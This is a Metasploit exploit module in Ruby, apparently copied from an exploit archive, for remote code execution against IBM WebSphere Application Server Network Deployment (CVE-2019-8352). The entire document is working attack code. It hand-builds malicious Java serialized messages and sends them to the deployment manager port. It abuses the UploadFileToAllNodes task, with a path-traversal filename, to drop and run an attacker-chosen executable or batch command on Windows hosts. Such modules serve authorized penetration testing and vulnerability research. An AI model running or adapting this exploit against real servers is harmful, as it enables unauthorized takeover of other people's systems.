IBM Websphere Application Server – Network Deployment Untrusted Data Deserialization Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution', 'Description' => %( This module exploits untrusted serialized data processed by the WAS DMGR Server and Cells. NOTE: There is a required 2 minute timeout between attempts as the neighbor being added must be reset. ), 'License' => MSF_LICENSE, 'Author' => [ 'b0yd' # @rwincey of [Securifera](https://www.securifera.com/) / Vulnerability Discovery and MSF module author ], 'References' => [ ['CVE', '2019-8352'], ['URL', 'https://www-01.ibm.com/support/docview.wss?uid=ibm10883628'] ], 'Platform' => ['win'], 'Targets' => [ [ 'Windows Binary', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'win' } ], [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'win', 'Payload' => {'Compat' => {'RequiredCmd' => 'generic'}} } ] ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'May 15 2019')) register_options( [ Opt::RPORT(11006), # 11002,11004,11006,etc OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]), OptRaw.new('SSLVersion', [true, 'Default Version for WASND ', 'SSLv3']), OptRaw.new('SSLVerifyMode', [true, 'SSL verification method', 'CLIENT_ONCE']), OptString.new('SSLCipher', [true, 'SSL Cipher string ', 'ALL']) ] ) end def cleanup disconnect print_status('Disconnected from IBM Websphere DMGR.') super end def exploit command = nil if target.name == 'CMD' fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") unless datastore['CMD'] command = datastore['CMD'] end # Connect to IBM Websphere Application Server connect print_status("Connected to IBM WAS DMGR.") node_port = datastore['RPORT'] # Send packet to add neighbor enc_stream = construct_tcp_node_msg(node_port) send_msg(enc_stream) sock.get_once print_status('Server responded') # Generate binary name bin_name = rand_text_alpha(8) if command command = datastore['CMD'] payload_contents = command.to_s print_status('Executing command: ' + payload_contents) bin_name << ".bat" else payload_contents = generate_payload_exe(code: payload.generate) bin_name << ".exe" end print_status("Sending payload: #{bin_name}") enc_stream = construct_bcast_task_msg(node_port, "..\\..\\..\\" + bin_name, payload_contents, bin_name) send_msg(enc_stream) register_file_for_cleanup(bin_name) end def send_msg(enc_stream) pkt = [0x396fb74a].pack('N') pkt += [enc_stream.length + 1].pack('N') pkt += "\x00" pkt += enc_stream # Send msg sock.put(pkt) end def construct_tcp_node_msg(node_port) p2p_obj = Rex::Java::Serialization::Model::NewObject.new p2p_obj.class_desc = Rex::Java::Serialization::Model::ClassDesc.new p2p_obj.class_desc.description = build_p2p_node_class(p2p_obj) # Create the obj object = Rex::Java::Serialization::Model::NewObject.new object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new object.class_desc.description = build_tcp_node_msg(object, 12, "0.0.0.0", node_port, p2p_obj) # Create the stream and add the object stream = Rex::Java::Serialization::Model::Stream.new stream.contents = [] stream.contents << object stream.contents << Rex::Java::Serialization::Model::EndBlockData.new stream.contents << Rex::Java::Serialization::Model::NullReference.new stream.encode end def construct_bcast_task_msg(node_port, filename, byte_str, cmd) # Add upload file argument byte_arr = byte_str.unpack("C*") upfile_arg_obj = build_upfile_arg_class(filename, byte_arr, cmd) # Create the obj object = Rex::Java::Serialization::Model::NewObject.new object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new object.class_desc.description = build_bcast_run_task_msg(object, 41, "0.0.0.0", node_port, upfile_arg_obj) # Create the stream and add the object stream = Rex::Java::Serialization::Model::Stream.new stream.contents = [] stream.contents << object stream.encode end def build_message(obj, msg_id, msg_type, orig_cell_field_type) # Create the integer field and add the reference id_field = Rex::Java::Serialization::Model::Field.new id_field.type = 'int' id_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'ID') # Create the integer field and add the reference type_field = Rex::Java::Serialization::Model::Field.new type_field.type = 'int' type_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'type') # Create the object field and add the reference new_field = Rex::Java::Serialization::Model::Field.new new_field.type = 'object' new_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'originatingCell') new_field.field_type = orig_cell_field_type # Create the class description msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.Message') msg_class_desc.serial_version = 1 msg_class_desc.flags = 2 msg_class_desc.fields = [] msg_class_desc.fields << id_field msg_class_desc.fields << type_field msg_class_desc.fields << new_field # Add annotations msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new] # Add superclass msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new # Set the member values obj.class_data << ['int', msg_id] obj.class_data << ['int', msg_type] obj.class_data << Rex::Java::Serialization::Model::NullReference.new msg_class_desc end def build_bcast_flood_msg(obj, msg_type, source_ip, source_port) prng = Random.new msg_id = prng.rand(4294967295) # Create the field ref field_ref = Rex::Java::Serialization::Model::Reference.new field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1 msg_obj = build_message(obj, msg_id, msg_type, field_ref) # Create the integer field and add the reference id_field = Rex::Java::Serialization::Model::Field.new id_field.type = 'int' id_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceMsgID') # Create the integer field and add the reference port_field = Rex::Java::Serialization::Model::Field.new port_field.type = 'int' port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceUdpPort') # Create the object field and add the reference ip_arr_field = Rex::Java::Serialization::Model::Field.new ip_arr_field.type = 'array' ip_arr_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceIP') ip_arr_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') # Create the class description msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.BcastFloodMsg') msg_class_desc.serial_version = 1 msg_class_desc.flags = 2 msg_class_desc.fields = [] msg_class_desc.fields << id_field msg_class_desc.fields << port_field msg_class_desc.fields << ip_arr_field # Add annotations msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new] # Add superclass msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new msg_class_desc.super_class.description = msg_obj # Construct IP Array ip_arr = source_ip.split(".").map(&:to_i) builder = Rex::Java::Serialization::Builder.new values_array = builder.new_array( values_type: 'byte', values: ip_arr, name: '[B', serial: 0x42acf317f8060854e0, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) # Set the member values obj.class_data << ['int', msg_id] obj.class_data << ['int', source_port] obj.class_data << values_array msg_class_desc end def build_tcp_node_msg(obj, msg_type, source_ip, source_port, p2p_obj) prng = Random.new msg_id = prng.rand(4294967295) # Create the field type for the origCell field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Ljava/lang/String;") msg_obj = build_message(obj, msg_id, msg_type, field_type) # Create the port field and add the reference boot_time_field = Rex::Java::Serialization::Model::Field.new boot_time_field.type = 'long' boot_time_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'bootTime') # Create the port field and add the reference tcp_port_field = Rex::Java::Serialization::Model::Field.new tcp_port_field.type = 'int' tcp_port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'tcpPort') # Create the port field and add the reference udp_port_field = Rex::Java::Serialization::Model::Field.new udp_port_field.type = 'int' udp_port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'udpPort') # Create the object field and add the reference ip_arr_field = Rex::Java::Serialization::Model::Field.new ip_arr_field.type = 'array' ip_arr_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'ip') ip_arr_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') # Create the task object field and add field_type node_prop_field = Rex::Java::Serialization::Model::Field.new node_prop_field.type = 'object' node_prop_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'nodeProperty') node_prop_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Lcom/ibm/son/mesh/AppLevelNodeProperty;") # Create the class description msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.TcpNodeMessage') msg_class_desc.serial_version = 1 msg_class_desc.flags = 2 msg_class_desc.fields = [] msg_class_desc.fields << boot_time_field msg_class_desc.fields << tcp_port_field msg_class_desc.fields << udp_port_field msg_class_desc.fields << ip_arr_field msg_class_desc.fields << node_prop_field # Add annotations msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new] # Add superclass msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new msg_class_desc.super_class.description = msg_obj # Construct IP Array ip_arr = source_ip.split(".").map(&:to_i) builder = Rex::Java::Serialization::Builder.new values_array = builder.new_array( values_type: 'byte', values: ip_arr, name: '[B', serial: 0x42acf317f8060854e0, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) # Set the member values obj.class_data << ['long', 0] obj.class_data << ['int', source_port] obj.class_data << ['int', source_port] obj.class_data << values_array obj.class_data << p2p_obj msg_class_desc end def build_app_node_class(obj) # Create the structured gateway field and add the reference struct_bool_field = Rex::Java::Serialization::Model::Field.new struct_bool_field.type = 'boolean' struct_bool_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'structuredGateway') # Create the version field and add the reference version_field = Rex::Java::Serialization::Model::Field.new version_field.type = 'int' version_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'version') # Create the object field and add the reference bridge_field = Rex::Java::Serialization::Model::Field.new bridge_field.type = 'object' bridge_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'bridgedCellsList') bridge_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/util/List;') # Create the field ref field_ref = Rex::Java::Serialization::Model::Reference.new field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 4 # Create the cellname field and add the reference cellname_field = Rex::Java::Serialization::Model::Field.new cellname_field.type = 'object' cellname_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'cellName') cellname_field.field_type = field_ref # Create the class description msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.AppLevelNodeProperty') msg_class_desc.serial_version = 1 msg_class_desc.flags = 2 msg_class_desc.fields = [] msg_class_desc.fields << struct_bool_field msg_class_desc.fields << version_field msg_class_desc.fields << bridge_field msg_class_desc.fields << cellname_field # Add annotations msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new] # Add superclass msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new # Set the member values obj.class_data << ['boolean', 0] obj.class_data << ['int', 0] obj.class_data << Rex::Java::Serialization::Model::NullReference.new obj.class_data << Rex::Java::Serialization::Model::Utf.new(nil, rand(0xffffffffffff).to_s) # Cell Name msg_class_desc end def build_hashtable_class(obj) # Create the integer field and add the reference load_field = Rex::Java::Serialization::Model::Field.new load_field.type = 'float' load_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'loadFactor') # Create the integer field and add the reference threshold_field = Rex::Java::Serialization::Model::Field.new threshold_field.type = 'int' threshold_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'threshold') # Create the class description msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.util.Hashtable') msg_class_desc.serial_version = 0x13BB0F25214AE4B8 msg_class_desc.flags = 3 msg_class_desc.fields = [] msg_class_desc.fields << load_field msg_class_desc.fields << threshold_field # Add annotations msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new] # Add superclass msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new obj.class_data << ['float', 0.75] obj.class_data << ['int', 8] obj.class_data << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x0b\x00\x00\x00\x03") msg_class_desc end def build_properties_class # Create the object object = Rex::Java::Serialization::Model::NewObject.new object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new msg_obj = build_hashtable_class(object) # Create the field ref field_ref = Rex::Java::Serialization::Model::Reference.new field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 9 # Create the integer field and add the reference defaults_field = Rex::Java::Serialization::Model::Field.new defaults_field.type = 'object' defaults_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'defaults') defaults_field.field_type = field_ref # Create the class description msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.util.Properties') msg_class_desc.serial_version = 0x3912D07A70363E98 msg_class_desc.flags = 2 msg_class_desc.fields = [] msg_class_desc.fields << defaults_field # Add annotations msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new] # Add superclass msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new msg_class_desc.super_class.description = msg_obj # Set the member values object.class_desc.description = msg_class_desc object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'memberName') object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, rand(0xffffffffffff).to_s) # Cell Name object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'inOdc') object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, '0') object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'epoch') object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, (Time.now.to_f * 1000).to_i.to_s) object end def build_p2p_node_class(obj) msg_obj = build_app_node_class(obj) # Create the field ref field_ref = Rex::Java::Serialization::Model::Reference.new field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1 # Create the data field and add the reference data_field = Rex::Java::Serialization::Model::Field.new data_field.type = 'array' data_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'data') data_field.field_type = field_ref # Create the object field and add the reference prop_field = Rex::Java::Serialization::Model::Field.new prop_field.type = 'object' prop_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'properties') prop_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/util/Properties;') # Create the class description msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.ws.wsgroup.p2p.P2PShimNodeProperty') msg_class_desc.serial_version = 2 msg_class_desc.flags = 2 msg_class_desc.fields = [] msg_class_desc.fields << data_field msg_class_desc.fields << prop_field # Add annotations msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new] # Add superclass msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new msg_class_desc.super_class.description = msg_obj # Create the byte array ref field_ref = Rex::Java::Serialization::Model::Reference.new field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 6 # Construct IP Array byte_array = Rex::Java::Serialization::Model::NewArray.new byte_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new byte_array.array_description.description = field_ref byte_array.type = "byte" byte_array.values = [] # Set the member values obj.class_data << byte_array # Add properties obj.class_data << build_properties_class msg_class_desc end def build_upfile_arg_class(filename, bytes, cmd) # Create the field ref field_ref = Rex::Java::Serialization::Model::Reference.new field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1 # Create the integer field and add the reference filename_field = Rex::Java::Serialization::Model::Field.new filename_field.type = 'object' filename_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'fileName') filename_field.field_type = field_ref # Create the field ref field_ref = Rex::Java::Serialization::Model::Reference.new field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 4 # Create the integer field and add the reference filebody_field = Rex::Java::Serialization::Model::Field.new filebody_field.type = 'array' filebody_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'fileBody') filebody_field.field_type = field_ref # Create the field ref field_ref = Rex::Java::Serialization::Model::Reference.new field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1 # Create the object field and add the reference post_cmd_field = Rex::Java::Serialization::Model::Field.new post_cmd_field.type = 'object' post_cmd_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'postProcCmd') post_cmd_field.field_type = field_ref # Create the class description msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.plugin.UploadFileArgument') msg_class_desc.serial_version = 1 msg_class_desc.flags = 2 msg_class_desc.fields = [] msg_class_desc.fields << filebody_field msg_class_desc.fields << filename_field msg_class_desc.fields << post_cmd_field # Add annotations msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new] # Add superclass msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new # Create the byte array ref field_ref = Rex::Java::Serialization::Model::Reference.new field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 7 # Construct IP Array byte_array = Rex::Java::Serialization::Model::NewArray.new byte_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new byte_array.array_description.description = field_ref byte_array.type = "byte" byte_array.values = bytes # Set the member values object = Rex::Java::Serialization::Model::NewObject.new object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new object.class_desc.description = msg_class_desc object.class_data << byte_array object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, filename) object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, cmd) object end def build_bcast_run_task_msg(obj, msg_type, source_ip, source_port, upfile_arg_obj) msg_obj = build_bcast_flood_msg(obj, msg_type, source_ip, source_port) # Create the integer field and add the reference out_int_field = Rex::Java::Serialization::Model::Field.new out_int_field.type = 'int' out_int_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'outputGatherInterval') # Create the task object field and add field_type task_field = Rex::Java::Serialization::Model::Field.new task_field.type = 'object' task_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'task') task_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Ljava/lang/String;") # Create the task object field and add field_type task_arg_field = Rex::Java::Serialization::Model::Field.new task_arg_field.type = 'object' task_arg_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'taskArgument') task_arg_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Ljava/io/Serializable;") # Create the integer field and add the reference forward_gather_field = Rex::Java::Serialization::Model::Field.new forward_gather_field.type = 'int' forward_gather_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'forwardGatheredDataPipelinePeriod') # Create the class description msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.plugin.BcastMsgRunTask') msg_class_desc.serial_version = 1 msg_class_desc.flags = 2 msg_class_desc.fields = [] msg_class_desc.fields << forward_gather_field msg_class_desc.fields << out_int_field msg_class_desc.fields << task_field msg_class_desc.fields << task_arg_field # Add annotations msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new] # Add superclass msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new msg_class_desc.super_class.description = msg_obj # Set the member values obj.class_data << ['int', 0] obj.class_data << ['int', 1] obj.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.plugin.UploadFileToAllNodes') obj.class_data << upfile_arg_obj msg_class_desc end end |